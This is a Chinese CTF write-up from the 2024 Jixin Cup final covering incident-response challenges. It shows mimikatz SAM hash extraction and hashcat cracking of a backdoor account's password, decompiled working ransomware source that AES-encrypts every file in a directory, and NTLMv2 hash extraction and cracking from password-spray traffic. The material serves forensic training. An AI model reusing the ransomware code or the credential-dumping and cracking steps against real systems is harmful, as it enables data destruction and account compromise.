2024冀信杯决赛
2024冀信杯决赛
本次比赛 我们SeeU-Sec是第一
在这里记录几道比较有意思的题目 赛制分成三部分:安全运维、应急响应、综合渗透
渗透部分还是狠狠的败北了 只做了一个后台的密码爆破和sql报错注入 分数的大头还是在应急和安全运维部分
日志和注册表分析
题目具体是什么记得不是很清楚了 大概意思好像是存在一个攻击者创建后门用户的行为 需要找到创建的这个用户和密码
首先给到的是一个evtx的windows日志文件 直接用windows默认的日志工具打开也行 但是不是很方便检索
可以先用Win_logs_parse_tool
工具把evtx文件提取成xml文件和html文件 转化之后如图
根据windows的事件ID 4720对应的事件是windows创建用户的 直接搜索这个id 找到对应的事件记录 可以在事件详情中找到创建的账户名称 是2Ha0c2K34ruiop$
使用这个用户名可以解压附件中的SAM.zip 注册表文件压缩包 里面有三个注册表文件
我们通过注册表可以获取windows用户密码的哈希值 但是不能直接拿到明文
只需要sam和system这两个注册表 利用mimikatz就可以进行提取
mimikatz # lsadump::sam /sam:sam.hive /system:system.hive
RID : 000003fb (1019)
User : 2Ha0c2K34ruiop$
Hash NTLM: b4a13264d379f697fbc6d0b1a5c1fcf0
题目描述中提示是6位的密码 位数不是很多 我们可以直接用hashcat进行爆破
hashcat -m 1000 -a 3 b4a13264d379f697fbc6d0b1a5c1fcf0 ?a?a?a?a?a?a --show
得到攻击者创建的账户名是2Ha0c2K34ruiop$
密码是asdf,.
勒索程序流量
流量包很长 但是没什么用好吧 直接导出http——导出需要我们分析的文件lesuojiami.exe
看到这个exe的图标 一眼是python打包的
先解包成pyc
找到pyc文件
用pycdc反编译成py文件
这里是将反编译的结果保存到1.py中 后面发现这个工具好像没有把全部内容反编译出来 所以换成了decompyle3
(uncompyle6最高只支持到python3.9)
from Crypto.Cipher import AES
import os, sys
def get_file(_dir):
_file = []
try:
tmp = os.listdir(_dir)
print("遍历文件夹" + _dir)
for i in tmp:
i = _dir + "\\" + i
if os.path.isdir(i):
_file += get_file(i)
else:
_file.append(i)
except:
pass
return _file
def add_to_16(par):
while len(par) % 16 != 0:
par += b'\x00'
return par
def jiami(b_text, b_key="zhua zhu wo!!!!".encode()):
b_key = add_to_16(b_key)
b_text = add_to_16(b_text)
mode = AES.MODE_ECB
aes = AES.new(b_key, mode)
encrypt = aes.encrypt(b_text)
return encrypt
def jiami_file(_file):
try:
with open(_file, "rb") as f:
content = f.read()
content = jiami(content)
with open(_file, "wb") as f:
f.write(content)
except:
pass
def end():
with open(__file__, "wb") as f:
f.write("\n 你的重要文件已经被加密\n ".encode())
program_name = sys.argv[0]
_dir = os.getcwd()
_file = get_file(_dir)
print(program_name)
_file.remove(_dir + "\\" + program_name)
print(_file)
for i in _file:
print("正在处理:" + i)
jiami_file(i)
jiami_file(i)
重要部分就是add_to_16函数 当密钥长度不够16的时候 使用00进行补充
下面的def jiami(b_text, b_key="zhua zhu wo!!!!".encode()):
告诉我们原始密钥是zhua zhu wo!!!!
将其转为16进制 在补位00即可
7a 68 75 61 20 7a 68 75 20 77 6f 21 21 21 21 00
在加密代码末尾调用了两次加密函数 我们再解密的时候也解密两次即可
附件中的重要文件文件夹中有被加密的flag压缩包 直接cyberchef进行解密
再用passwarekit进行爆破密码
解压得到flag
密码喷洒
其实也就是一个ntlmv2哈希的爆破 但是需要我们找到密码喷洒成功的时候在流量中体现出来的特征
首先是筛选一下smb2 看到很多记录 先提取一下ntlmv2哈希
python .\NTLMRawUnHide.py -i E:\Desktop\比赛\2024冀信杯决赛\1734843572658_410\密码喷洒.pcapng -o hash.txt
可以看到结果很多 对每个账号差不多进行了101次左右的密码喷洒攻击
直接找到最后 发现一个特征 上面这条记录是爆破失败的 在Session Setup Response后面是error 下面这条记录应该就是爆破成功的 在下面NT Status这里的值是0x00000000
在筛选一下 看看有没有别的结果
发现是只有这一条Session Setup Response是成功的
那就提取这一个的哈希值来进行爆破
fileserver::fbi.gov:1f1bdaf788d2c102:15c26d67db4c24e8a67fea9b447c05f8:0101000000000000a8e7eb30b851db0168765147424970490000000002000600460042004900010004004400430004000e006600620069002e0067006f00760003001400640063002e006600620069002e0067006f00760005000e006600620069002e0067006f00760007000800a8e7eb30b851db0109000e0063006900660073002f00440043000000000000000000
爆破出来是QWEasd1234
验证一下 当我们将这个密码输入wireshark的首选项——NTLMSSP中 发现smb3流量全部被解密了 也能证明我们爆破出的密码是正确的